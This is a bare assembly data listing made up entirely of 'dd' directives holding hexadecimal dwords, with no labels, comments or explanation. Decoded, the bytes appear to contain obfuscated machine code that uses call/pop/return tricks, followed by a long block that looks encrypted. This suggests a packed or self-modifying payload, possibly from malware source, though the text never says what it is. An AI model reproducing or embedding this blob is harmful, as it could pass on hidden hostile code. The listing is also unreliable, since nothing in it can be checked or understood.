		dd 684h, 0F1958B00h, 5F06291Eh,	75195FFh, 6A0629h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0CA5D7CC3h, 0A35720EFh, 602C4032h, 0CA8BFE8Bh, 87B58D61h
		dd 31062CADh, 29200995h, 0FE89606h, 2E000000h, 880E05C2h
		dd 3D2F03A4h, 5DAC87DEh, 3EB94E7Ah, 5F3F95F7h, 0AE96050h
		dd 68000000h, 0E451A599h, 37F7625Dh, 5AB9667Ch,	0F96615Dh
		dd 0E890FAB7h, 10h, 493D509Ah, 8E319BC1h, 19B22472h, 324D2ABDh
		dd 1F6BA2B9h, 50505F0Bh, 188A0F52h, 0E9000000h,	13h, 23BF017Fh
		dd 0B63E7CA4h, 0DD733DC2h, 8F73E778h, 0F3B2716h, 0EE831h
		dd 305B0000h, 5F254979h, 68F1539Dh, 0BC7C42E5h,	90585A5Ah
		dd 0FF4BC580h, 29201595h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 9C3546DEh
		dd 8016506Dh, 0C00B60EEh, 49850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 4C9D8EC3h
		dd 8B30FDB4h, 14E952h, 0A82D0000h, 654B8E88h, 0A1689D92h
		dd 11EC6290h, 8091DE4h,	0F8592006h, 69EE9h, 11958900h
		dd 0FF062933h, 8BCF8AD0h, 2CADB0B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 468DF660h
		dd 0FFBF0F20h, 6A046Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0BD892EC3h, 6292A1Dh, 8B665650h
		dd 4895AD0h, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 9864F812h, 0B9FCFDB9h, 359D896Ch
		dd 0FF062930h, 2CADC095h, 0F1852906h, 0B062923h, 10840FC0h
		dd 80000000h, 0C88B01D5h, 5F6E9h, 2D958B00h, 8006291Ah
		dd 0F00207Eh, 5E684h, 65850900h, 0F06292Fh, 6660C8BFh
		dd 8A68EA81h, 0F20468Dh, 8589D0BFh, 62CADACh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 38C35545h, 20FFE08Dh
		dd 0BD234E87h, 6291AFDh, 16FE9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0FBF67041h
		dd 0DE921A1h, 9E000000h, 331B112Dh, 81643F0Ah, 0BC42A540h
		dd 52006A40h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 8D980E95h, 0B796B140h, 0BD2B81A2h, 6292E19h
		dd 5090CB8Bh, 4830F52h,	66000000h, 0F5888BFh, 50585A31h
		dd 61606050h, 45F8B966h, 0E8905961h, 0Ch, 0E2C6B49Fh, 62F50AA1h
		dd 0E488CEDFh, 2E11B589h, 6A5A0629h, 50006A04h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0BD8E428Fh
		dd 0FD9D89h, 89500629h,	6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0FFF903C3h, 2CADC095h
		dd 0CE806h, 4EC30000h, 80261435h, 1F83157Bh, 0F88B1CB3h
		dd 13D2805Ah, 6AD88Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0FF71A2C3h, 0ECBFE44Bh, 0BF66505Ch
		dd 585FF3F5h, 0A519501h, 0DB0B0629h, 3A840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 1DF96DC3h, 0C122344Ch, 6840FBEh, 81000000h, 662FDAF1h
		dd 435E934h, 95890000h,	6291339h, 0F003880h, 0FFFEBB85h
		dd 0F2BA66FFh, 3AE93Ah,	0EF810000h, 1A4EBEE1h, 53006A48h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 11E9E3E9h, 0B3000000h, 0E9C9825Bh, 33CE18EBh, 5D2E6FCFh
		dd 0BDB0FD34h, 0ADAC853Bh, 820F062Ch, 4Eh, 0C820Fh, 7E90000h
		dd 81000000h, 897B9476h, 38801838h, 33840F5Ch, 3000000h
		dd 2927A5BDh, 2F388006h, 0FF96850Fh, 6AFFFFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0E1286EC3h
		dd 0BF66D739h, 8940CFBDh, 292C898Dh, 0BE906h, 26D0000h
		dd 77229A4Dh, 0D065F126h, 0B4BD8301h, 62CADh, 188840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0BA621EC3h, 0E2C026D4h, 0BA196ECBh, 4B0F6181h
		dd 5066B690h, 6690D38Ah, 8503D38Bh, 62CADB4h, 6BB550FCh
		dd 31240489h, 29089DBDh, 6A046A06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 2BB7C350h
		dd 291789BDh, 47B95006h, 8951F1FCh, 13E92404h, 0FC000000h
		dd 0A5BDA29Bh, 4D0B257Dh, 60D6D809h, 0D6403CDFh, 95FFD318h
		dd 62CADC0h, 0D88BD4B5h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 0F2C35242h, 9AD5C681h, 11ED9D29h, 6A580629h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0CC4DC355h, 1D950B96h, 0F06291Ah,	68Dh, 95BD8900h
		dd 0B062908h, 51840FDBh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 294AC350h
		dd 29092DBDh, 249E906h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 9BA281C3h, 953B28D8h
		dd 85899094h, 6291E21h,	8B0000C6h, 292B51BDh, 6A5806h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 9AB79EC3h, 8C5858C4h, 8152D308h, 958716DAh, 8D0F5F47h
		dd 6, 2785958Bh, 60900629h, 61F88A60h, 5061FA8Ah, 6A90FA8Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0F5B5C357h, 0BD333F83h, 62909B5h,	0BD8B1E6Ah
		dd 6292F99h, 5E576090h,	14E9h, 73D2E00h, 53A0A997h, 98357A6Ah
		dd 5FECD01Ah, 4BB3DC9Ah, 0E9506108h, 10h, 50B7D1Bh, 0A3EE17FDh
		dd 0DBC2DCFBh, 7B71E680h, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0FF7AC67Ch
		dd 2CADC095h, 65852906h, 8B062931h, 6E9D8h, 9C990000h
		dd 6B259D51h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 6840FDCh,	81000000h, 0F6A753C1h
		dd 0FDB0B3Bh, 1A84h, 3850F00h, 66000000h, 0F8E9C88Bh, 8B000000h
		dd 291A818Dh, 39952306h, 90062913h, 2C1C1EBAh, 0CE95065h
		dd 0D000000h, 374063D4h, 0A58143CFh, 90ADD949h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 60C35343h, 0F603D8Fh
		dd 958BF2B7h, 6291381h,	0A0B5FF61h, 6A062CADh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 99C351h, 96D4AAE5h, 0A968D51Ch, 0ADA495FFh, 0C981062Ch
		dd 678D389h, 850FC00Bh,	52h, 299DBD8Bh,	0BF0F0629h, 85C761D3h
		dd 62CADA8h, 1,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0D5C35545h, 28817C3Dh, 9E7D143Ah, 2CE9FCA8h, 0E8000000h
		dd 7
		dd 0AFA07593h, 1BB81C1h, 2918BDB5h, 8A615906h, 1CC681EFh
		dd 8B000001h, 291A9DBDh, 0F994E906h, 8166FFFFh,	68FE0CEFh
		dd 2639CB0Dh, 13860F50h, 0E8000000h, 0Dh, 0BCDC2A6h, 0B4234F35h
		dd 7DFCF83Ah, 815F5F76h, 4B0D2434h, 6A2639h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 592E33C3h
		dd 42E9819Ah, 0B62EF0Fh, 292D4995h, 0E8006A06h,	7, 0F156FFCh
		dd 8BD6806Bh, 2929A1BDh, 0B5FF5F06h, 62CADB0h, 0E759589h
		dd 95FF0629h, 62908F9h,	0DE9h, 7AE80700h, 21AD642Bh, 84456851h
		dd 858BA41Ah, 62CADA8h,	3365B589h, 0B2500629h, 240489C4h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 12C35242h
		dd 89E97F36h, 290EE98Dh, 0DCF78106h, 8D22444Ch,	2CADB885h
		dd 898D8B06h, 90062906h, 2FF1BA60h, 50613670h, 0F990D38Bh
		dd 14DDBD8Bh, 858D0629h, 62CAD75h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 7BC35141h, 0C34E6944h, 8B88E767h
		dd 292941BDh, 0BA669006h, 0BA5081CDh, 34B8E1E9h, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 40C6B2CBh, 10E970h, 0C94D0000h, 4D2EDF82h, 2DDA59EEh
		dd 8451C515h, 8B66E7F6h, 1D95FFCFh, 6A062920h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0DA25C350h, 81EC8021h, 3BEB5DF1h, 0FECD800Ch, 9589C08Bh
		dd 62908B5h, 309DBD83h,	75000629h, 75BD8309h, 62900h, 53501374h
		dd 0D0B8C08Bh, 8D000004h, 2BA8DD9Dh, 5BD3FF06h,	75BD8358h
		dd 62900h, 53501174h, 4D0B8h, 0DC9D8D00h, 0FF062BA7h, 8B585BD3h
		dd 292E118Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 958B359Bh, 6292845h, 0B70FC08Bh
		dd 958B58FEh, 6291ED5h,	800008C2h, 0C08BF1EEh, 8E9h, 45390F00h
		dd 82862C5Bh, 0EA858D86h, 6A062CADh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C060C355h
		dd 6276675Ch, 323D958Bh, 85890629h, 62914CDh, 39EBh, 2CC00C1h
		dd 2E400C1h, 0C1h, 0B3600000h, 0BF4D4487h, 0B76C759Eh
		dd 0B3F5218Fh, 0F42C4C84h, 0DACC4D8Eh, 961475A4h, 0AE6621A6h
		dd 0B47151A5h, 0BF7849BEh, 0BA05458Bh, 0F1B7ACE9h, 1ACA27C3h
		dd 32F32180h, 0DA5021E9h, 81EB7ACAh, 0DE307D63h, 0DE2E656Bh
		dd 0DA0521F7h, 464172A9h, 6F17783h, 2A87A8Bh, 47EDA265h
		dd 0DA2E08DAh, 6797289Fh, 0DC23219Fh, 8A1C55EAh, 6242AAB9h
		dd 0DA412553h, 0EBA5A463h, 47DD27C3h, 0DC038B48h, 824FF215h
		dd 0DA7F9C69h, 0AE0527C3h, 62D171FDh, 0DA412553h, 0EBA5A463h
		dd 47DD27C3h, 0DC03867Bh, 824FF215h, 18EDA08Ch,	288E4750h
		dd 65E4E161h, 5F8767B6h, 0DC893AB3h, 17C50ABCh,	322E08C2h
		dd 0DA1421EEh, 46A299B8h, 5E74FF53h, 0CB6A71E2h, 0A24121EAh
		dd 14BF0966h, 73AFBE22h, 0E00E7F72h, 0CDA05F88h, 1E549B8Ah
		dd 64633471h, 85E372D8h, 0DE656561h, 0DA5F988Ch, 0BB302161h
		dd 0DE0C6563h, 0DA143103h, 688D75EAh, 8A2F4F20h, 61F54C07h
		dd 53DF4D81h, 0D74979AFh, 685021EAh, 666C41DFh,	2ED599CCh
		dd 51222921h, 0C09C9415h, 578D27C3h, 0DA4121E9h, 575EAA8Ch
		dd 0F62BF36Fh, 89284BECh, 0DA142202h, 195101EAh, 0FE59A8B1h
		dd 0FEC6A0EEh, 0DA4134EEh, 19F362EAh, 5102CB80h, 0F3212C67h
		dd 0AEB7BECh, 0DA0A2902h, 0EC9684EAh, 0C2D7BE54h, 0BD539FE2h
		dd 0B0FF4DE2h, 8F504BEEh, 0DA282202h, 194901EAh, 0FE66A8B7h
		dd 0FE41A0EEh, 0DA8235EEh, 191464EAh, 53E29033h, 0F3789C6Fh
		dd 481649ECh, 52A53540h, 0E42E156Bh, 0B0118B68h, 0D96A74EAh
		dd 0FA4121EAh, 53FDE2B7h, 5B540586h, 0C12C05AEh, 9F1421EAh
		dd 7D72E2BFh, 438B0780h, 0FB378B79h, 55337654h,	0DAA4C9E3h
		dd 0D8BC21EAh, 0BA7F21EAh, 50EEAA8Ch, 8A504026h, 9E8ED560h
		dd 0D56B25CEh, 0D74121EAh, 0CB9CBF43h, 0B4A9DD7Eh, 8CBBE475h
		dd 0DA9FC640h, 0DE2E6563h, 0F6147953h, 57B3799Ah, 0DC680977h
		dd 0DACA2180h, 0DA53C9BFh, 870821EAh, 0B69D7C29h, 9E8B25CEh
		dd 0DA1E25CEh, 8FC721EAh, 3D13F29h, 84D0D8FCh, 0DA5FC964h
		dd 1A3721EAh, 78D8988Fh, 3D170392h, 244E2834h, 0A33F2A5Bh
		dd 854708E6h, 5170DE13h, 0F3764857h, 50ADA8ECh,	60120D2Ah
		dd 0E1D977A8h, 1600D961h, 538221E8h, 0F681AF6Fh, 0C260A2ECh
		dd 1AC2A463h, 1A1B27C6h, 0DA16CD53h, 0B0A0D2EAh, 0D9ED76EAh
		dd 0FA8221EAh, 531EE2B5h, 5BA40596h, 0C25405AEh, 9D2821EAh
		dd 624AE2BDh, 0B0C657A3h, 0D9ED77EAh, 0FA8221EAh, 531FE2B4h
		dd 5BA4059Eh, 0CC5405AEh, 9C2821EAh, 6D19E2BCh,	0CFE8A0A9h
		dd 1C356DF3h, 0F399786Fh, 0DA2B62ECh, 0DAA3C9BFh, 877021EAh
		dd 0B6A17C29h, 9E9525CEh, 0DA1325CEh, 8F4021EAh, 0F3E50429h
		dd 893CB72Dh, 0F53D9463h, 0B20927C3h, 503A24D1h, 5BDAAA8Ch
		dd 0B46F05DEh, 478C379Fh, 0DCAB0663h, 0C0D89415h, 5BC627C3h
		dd 57024005h, 0F653F36Fh, 1B81AAECh, 250C08C0h,	0DA16C83Ah
		dd 0D48421EAh, 8D02C4A1h, 6201A126h, 904D36D8h,	0B5C57Bh
		dd 0FF91A843h, 570C08E3h, 0F311186Fh, 89824BECh, 0DA412202h
		dd 19FB01EAh, 0FE0CA8B1h, 0FE6CA0EEh, 0DA1439EEh, 195962EAh
		dd 0E4142741h, 0DA96C91Bh, 3E7321EAh, 0D3B608EEh, 76BDC899h
		dd 0CFF48569h, 0B1FB7A14h, 4783A44Ah, 0DC2C2E27h, 3707A8B5h
		dd 514708E6h, 0F3A8F867h, 83D5E7ECh, 892E08F1h,	32442180h
		dd 0DA0A21E9h, 82C679CAh, 0DEA66563h, 0DE65656Bh, 0DAA021F0h
		dd 969371AAh, 0B03CB8E3h, 6572BDFFh, 67810B3Eh,	0DC2C0E67h
		dd 0D3B3B461h, 0C32927C3h, 51238BC7h, 0FE54A013h, 0A32F3A55h
		dd 32442180h, 0DA0A21E9h, 82C679CAh, 0DEA66563h, 0DE65656Bh
		dd 0DAA021FCh, 1D9371AAh, 4F1BD8A9h, 0DC3D25EFh, 0D4DFB463h
		dd 6FFA27C3h, 0DCAB3B73h, 32112180h, 0DAA021E9h, 829379CAh
		dd 0DE0C6563h, 0DE30656Bh, 0DA0A21F3h, 0C671AAh, 6DFFCEF7h
		dd 8C4AC59h, 8BA60D91h,	8A0EDF61h, 2572E758h, 53E5AA3Ah
		dd 0F30FB06Fh, 8A054BECh, 0DA822202h, 191901EAh, 0FEE4A8B2h
		dd 0FE14A0EEh, 0DA283AEEh, 194461EAh, 0D00A190Bh, 0FF3E3904h
		dd 0C373AC63h, 5F8727C3h, 0DC893AB3h, 981A9EB9h, 59277660h
		dd 0DA1421EFh, 0B717354h, 0CBF849EFh, 0DE03AEF1h, 27F397CEh
		dd 0D31520A2h, 0D55608C7h, 0DA28276Dh, 0DAE3A0EAh, 25615066h
		dd 0F31FB85Fh, 57E697ECh, 0F63AF36Fh, 255590ECh, 0A7C5AA3Ah
		dd 532E08C1h, 0F31A586Fh, 0D7BFA8ECh, 1C0308CCh, 0F399786Fh
		dd 0DA2B66ECh, 0DAA3C9BDh, 857021EAh, 0A6A17E29h, 9E9525CEh
		dd 0DA1625CEh, 8D4221EAh, 98AAD29h, 2C9EFB29h, 6F2B2BB2h
		dd 0DC791543h, 0CAE43482h, 0DA1AC85Bh, 82BE21EAh, 0D9144402h
		dd 709AA6A0h, 0A1CAADC3h, 4E84256Bh, 0D556EFFBh, 0DA28256Dh
		dd 0BFAD47EAh, 43BFDE46h, 0B00308F0h, 0D96A73EAh, 0FA4121EAh
		dd 53FAE2B0h, 5B5405BEh, 0CD2C05AEh, 981421EAh,	8A28E2B8h
		dd 5F8C12BFh, 0DCAB2573h, 0DA412802h, 0ED481BEAh, 916CB90Dh
		dd 5D27BE09h, 0DA1421E5h, 0DA0A2B03h, 6AF3C6EAh, 832CB356h
		dd 8304C6F0h, 0A172A467h, 8B3027C6h
		dd 0BB7379B8h, 0DA7EF115h, 0DA09C9B8h, 802521EAh, 8E0B7B29h
		dd 9EC025CEh, 0DAB525CEh, 881221EAh, 0BCD78D29h, 5F9DDF61h
		dd 0DC230797h, 32552180h, 0DA8221E9h, 828279CAh, 0DE846563h
		dd 0DE74656Bh, 0DA2821FEh, 21D771AAh, 0C2539C61h, 5FC327C3h
		dd 0DCAB3AB3h, 9BF428ADh, 0B2A608F5h, 0D2D8F8Bh, 0DA2AA6E5h
		dd 249F21EAh, 0C12E156Bh, 5A538054h, 6F7DC834h,	0DC683B73h
		dd 32F02180h, 0DA5021E9h, 82EB79CAh, 0DE306563h, 0DE2E656Bh
		dd 0DA0521F0h, 574171AAh, 55774328h, 5DAF2D59h,	0DA5021EFh
		dd 67049F50h, 891ACAFh,	0B00C0D91h, 0D9ED77EAh,	0FA8221EAh
		dd 531FE2B4h, 5BA4059Eh, 0C15405AEh, 9C2821EAh,	29F7E2BCh
		dd 0E1F04A13h, 25FCF2B5h, 8B824B3Ah, 0DA412202h, 19F901EAh
		dd 0FE1CA8B3h, 0FE6CA0EEh, 0DA143DEEh, 195B60EAh, 0C647E486h
		dd 413AD12Bh, 0BCBAAA94h, 535D5A50h, 0F344386Fh, 0F7ADA8ECh
		dd 1C1208E0h, 0F311786Fh, 0DA6F66ECh, 0DA81C9B9h, 816121EAh
		dd 86297A29h, 9ED125CEh, 0DA3325CEh, 895721EAh,	969F6229h
		dd 0B8E700C6h, 0DF37A8FCh, 324708DEh, 0DAA021EEh, 709D1DB7h
		dd 8AD6AA8Ch, 0DE306561h, 0DA2CA4E5h, 336521EAh, 0DA8221E0h
		dd 0C0E609EEh, 0AAAD2A8Fh, 0D5B86168h, 0E02821EAh, 3B2363C4h
		dd 9F4C4F44h, 0E83FF7B8h, 0BBDA5D7Bh, 85F32161h, 0DE846563h
		dd 829EAA8Ch, 0FD95BC63h, 6FEB27C3h, 0DC233B73h, 32572180h
		dd 0DA8221E9h, 80827BCAh, 0DE847563h, 0DE74656Bh, 0DA2821F1h
		dd 30D773A8h, 6F3B91CBh, 57CACE15h, 0F6F9F36Fh,	0D8CE2EECh
		dd 51A021EAh, 5380DE12h, 0F325F87Fh, 339547ECh,	5F834007h
		dd 0DC2C2BEBh, 32D32180h, 0DA4121E9h, 836378CAh, 0DE746D63h
		dd 0DE0C656Bh, 0DA1421F7h, 39C970ABh, 81753DE9h, 286492C3h
		dd 0B091DE11h, 0D94872EAh, 0FA5021EAh, 5373E2B1h, 5B1005B6h
		dd 0CE0E05AEh, 990521EAh, 5329E2B9h, 0F36AE86Fh, 0B335AAECh
		dd 0BC5608DBh, 0DA42F966h, 0DA17C9BBh, 832A21EAh, 968C7829h
		dd 9E0325CEh, 0DA5525CEh, 8BE121EAh, 525F3529h,	0DA2821E9h
		dd 33DFAA8Ch, 0DA0A21E1h, 25FEF52Fh, 0A866417Fh, 0FE31A658h
		dd 88A04BEEh, 0DA502202h, 197201EAh, 0FE40A8B0h, 0FE4EA0EEh
		dd 0DA053AEEh, 19D063EAh, 23F158B3h, 92D4B010h,	0D0A9AA8Ch
		dd 0BEAC2E2Ah, 321421E9h, 0DA0A21F8h, 24F5F603h, 0E2F344E2h
		dd 0A1590F5Ah, 629DD8A7h, 5F513534h, 0DC0130B3h, 8391E7B0h
		dd 950C08F1h, 0C7FCAC63h, 97EA27C3h, 8A9D1550h,	0DAB0C9B8h
		dd 0A60221EAh, 93D110C6h, 7DA3A04Fh, 0DCA5EE99h, 5163A8C7h
		dd 0EB8D7819h, 851273BAh, 0B51A10E5h, 801A06F5h, 5B707BB2h
		dd 0C9D05DEh, 0DA60425Eh, 0DA06C9BFh, 87A221EAh, 0B6C87C29h
		dd 9E2125CEh, 0DA4625CEh, 8F6D21EAh, 0C836B629h, 0BCDCAA8Ch
		dd 4E05EF6Bh, 0C01B9415h, 0DA2B27C3h, 0DAA3C9BCh, 847021EAh
		dd 0AEA17F29h, 9E9525CEh, 0DA1225CEh, 8C4321EAh, 1BAC2A29h
		dd 5FCC8078h, 0DC8C5A38h, 0CAD52E8Ah, 332821EAh, 0DA1421E1h
		dd 0EB7D129Ch, 14DCF938h, 53B442C8h, 0F36C7477h, 0A5F40ECh
		dd 0E81D9C63h, 1AAB27C3h, 8A144BCEh, 0DA0A2202h, 195D01EAh
		dd 0FEC6A8B2h, 0FE05A0EEh, 0DAA034EEh, 190061EAh, 634EAF93h
		dd 4F3FC82Ah, 0DC232B2Bh, 0DA48A463h, 0DAE827C3h, 0DA42C9B8h
		dd 808021EAh, 8ED97B29h, 9EA925CEh, 0DA0C25CEh,	884821EAh
		dd 7F96E329h, 5F0B6499h, 0DC6828EBh, 0D5C47D55h, 0DCD02EE2h
		dd 512821EAh, 0F307D85Fh, 138FAAECh, 0D50308C1h, 0DA822264h
		dd 2DCA47EAh, 0D0A1BC61h, 513627C3h, 0DCA32E21h, 0F11421EAh
		dd 0F315005Fh, 0DA6F62ECh, 0DA81C9BCh, 846121EAh, 0AE297F29h
		dd 9ED125CEh, 0DA3425CEh, 8C5221EAh, 3B58DF29h,	0AF5CD2A9h
		dd 133C9B44h, 6B7B6604h, 60BBAA54h, 0FFCB6A1Fh,	0DCC03A61h
		dd 3B1421EAh, 0C5B3779Ah, 0D18D2E83h, 338221EAh, 0DA4121ECh
		dd 0B4A27502h, 510E1CD8h, 0D9A12EF1h, 5A1421EAh, 2391624h
		dd 0DFE09CDBh, 518D27C3h, 0DA4121E0h, 0DAA02403h, 0BE8411EAh
		dd 47A1D32Eh, 0DC3D2C07h, 325B2180h, 0DA0521E9h, 834178CAh
		dd 0DE656D63h, 0DE84656Bh, 0DA5021FDh, 0D0EB70ABh, 0BC0B8735h
		dd 534B1153h, 0F302246Fh, 8307E7ECh, 9D4708F1h,	5368AA8Ch
		dd 0F37B1467h, 0DA2CC9ECh, 7BD21EAh, 646C9634h,	3355F05Eh
		dd 0DA8221E1h, 2B4E5AC8h, 4627AF06h, 51AC7DEDh,	652C05AEh
		dd 968D2E27h, 885A2161h, 0EB0A78B8h, 0DA87A3E5h, 23FB21EAh
		dd 80A17DC3h, 0FE14A8B2h, 1C9747EEh, 0BBA6797Eh, 0C0939415h
		dd 0D2ED27C3h, 0D38221EAh, 0B080C2Ch, 0D5236D18h, 8B0AD655h
		dd 0DF5DA4C3h, 574D27C3h, 0F671F36Fh, 8D054BECh, 0DA822202h
		dd 191E01EAh, 0FEDCA8B5h, 0FE14A0EEh, 0DA2834EEh, 194366EAh
		dd 0CAE3552Dh, 0DC0521EAh, 9B8348ABh, 0E8682938h, 1700C254h
		dd 25B3319Bh, 6F21413Ah, 0DC3D2D2Bh, 0A78FA88Bh, 0B00308CCh
		dd 0D96A77EAh, 0FA4121EAh, 53FEE2B4h, 5B54059Eh, 0C32C05AEh
		dd 9C1421EAh, 0F1F2E2BCh, 1AB2B508h, 8E4DA08Ch,	5111617Eh
		dd 0F3BA407Fh, 0DADB7EECh, 0C4EDAC61h, 0DA9F27C3h, 325F2180h
		dd 0DA0521E9h, 87417CCAh, 0DE654D63h, 0DE84656Bh, 0DA5021FCh
		dd 96EB74AFh, 0D7FD19E5h, 0C20A21EAh, 677C5D3Fh, 469EEE20h
		dd 0F8F99060h, 0D539A463h, 0DA3A27C3h, 0DA2BC9BAh, 823421EAh
		dd 9E837929h, 9E8425CEh, 0DA9B25CEh, 8A0121EAh,	0B1BF8A29h
		dd 511F519Ah, 0F336985Fh, 0DB91C8ECh, 57F321EAh, 0F6C5916Fh
		dd 8A51AAECh, 5397AA8Ch, 32C005EEh, 0DA5021F8h,	0A118AC62h
		dd 0C77A38Fh, 0F23C423h, 4FE94779h, 470BACB5h, 0DC68116Fh
		dd 0DC292EB3h, 0D55021EAh, 0DA282161h, 4FEB40EAh, 0DC23350Bh
		dd 6C98AC13h, 0B0840D2Ah, 0D9A970EAh, 0FAA021EAh, 5309E2B3h
		dd 5B2C05A6h, 0C01005AEh, 9B0A21EAh, 0A892E2BBh, 0A09F26F9h
		dd 0A3FC08E4h, 65A608E5h, 0F3AE8966h, 0DA20C979h, 30A021EAh
		dd 0AE26306Eh, 0CAEDF70Fh, 0FB8221EAh, 2FE9B1ADh, 5AE22012h
		dd 0E06F01EDh, 8436FC3Bh, 0D0FC71B4h, 60A21EAh,	0CA4507BEh
		dd 0B33075B2h, 0DA51C9F6h, 0D32221EAh, 8E7E95CDh, 5B091CD2h
		dd 25D1A2F1h, 885A1995h, 825F10E5h, 0BA1178B0h,	0FEECAC61h
		dd 5CAF27C3h, 0DA5021ECh, 0D041ACEBh, 4A7527C3h, 280E9E8Ch
		dd 12BC47BAh, 0DAE8B18Fh, 0DA42C9BFh, 878021EAh, 0B6D97C29h
		dd 9EA925CEh, 0DA0925CEh, 8F4F21EAh, 0BFEE7529h, 1AFBE898h
		dd 25990955h, 0F380347Fh, 8B504BECh, 0DA282202h, 194D01EAh
		dd 0FE46A8B3h, 0FE41A0EEh, 0DA823DEEh, 191060EAh, 5F6CFCAh
		dd 939A9E78h, 0AFBD22BAh, 8A1208F0h, 0CAB3BCDBh, 535B27C3h
		dd 0F3826C6Fh, 8D414BECh, 0DAA02202h, 190F01EAh, 0FE54A8B5h
		dd 0FE50A0EEh, 0DA0A36EEh, 195266EAh, 22890B61h, 0DA55C8BDh
		dd 200821EAh, 7D0C2130h, 3427F374h, 4052CC61h, 3D773E07h
		dd 1C5B4694h, 0F399786Fh, 512772ECh, 889E4922h,	5136A7F4h
		dd 0FE1CA025h, 0F68DF7ABh, 32592180h, 0DA0521E9h, 81417ACAh
		dd 0DE657D63h, 0DE84656Bh, 0DA5021F3h, 12EB72A9h, 18A1E394h
		dd 43BFDE90h, 0B00308F0h, 0D96A76EAh, 0FA4121EAh, 53FFE2B5h
		dd 5B540596h, 0C22C05AEh, 9D1421EAh, 1E87E2BDh,	51B18B2Fh
		dd 57F09018h, 0F63AF36Fh, 88A04BECh, 0DA502202h, 197201EAh
		dd 0FE40A8B0h, 0FE4EA0EEh, 0DA0539EEh, 19D063EAh, 8A541762h
		dd 1F1DA804h, 325608EEh
		dd 0DA2821ECh, 25732AEDh, 22B3DC4Bh, 800F3A77h,	5709F115h
		dd 0DC6833BBh, 0EA91A463h, 0DA3A27C3h, 0DA2BC9BCh, 843421EAh
		dd 0AE837F29h, 9E8425CEh, 0DA9E25CEh, 8C0721EAh, 1F26929h
		dd 0DCF88A5Ah, 654EA32Ah, 5FD23DACh, 0DC233AB3h, 1C8447ADh
		dd 4CEAD620h, 0D5B194D1h, 0DAA0246Dh, 3FFD9EEAh, 0EEA918C0h
		dd 1D3A27CEh, 880A4BBBh, 0DA052202h, 19D801EAh,	0FE15A8B0h
		dd 0FEE4A0EEh, 0DA5038EEh, 197A63EAh, 3006C804h, 4F818E58h
		dd 0DC2C3BC7h, 0C01B9415h, 0DA2B27C3h, 0DAA3C9B9h, 817021EAh
		dd 86A17A29h, 9E9525CEh, 0DA1D25CEh, 894621EAh,	12966629h
		dd 8C4AC7Fh, 0BCA60D91h, 9EC4D66Bh, 0B26988Ch, 0DA7EF115h
		dd 0DA09C9BBh, 832521EAh, 960B7829h, 9EC025CEh,	0DAB425CEh
		dd 8B1121EAh, 671B4129h, 0DC3D252Fh, 0C4179461h, 5F8C27C3h
		dd 0DCAB26CBh, 0EA9CBCE3h, 5F6627C3h, 0DC793AB3h, 8F284BB9h
		dd 0DA142202h, 195701EAh, 0FE69A8B7h, 0FEC6A0EEh, 0DA413DEEh
		dd 19F564EAh, 0F5D1CCF6h, 0DAACDAC1h, 0DA942E0Ch, 0B20A21EAh
		dd 66B9F2F2h, 5B79AA8Ch, 56C905DEh, 0DACA046Fh,	0DA53C9BBh
		dd 830821EAh, 969D7829h, 9E8B25CEh, 0DA1E25CEh,	8BC321EAh
		dd 0D577C329h, 0B2395468h, 1BC5A837h, 252E08E5h, 0F30EB85Fh
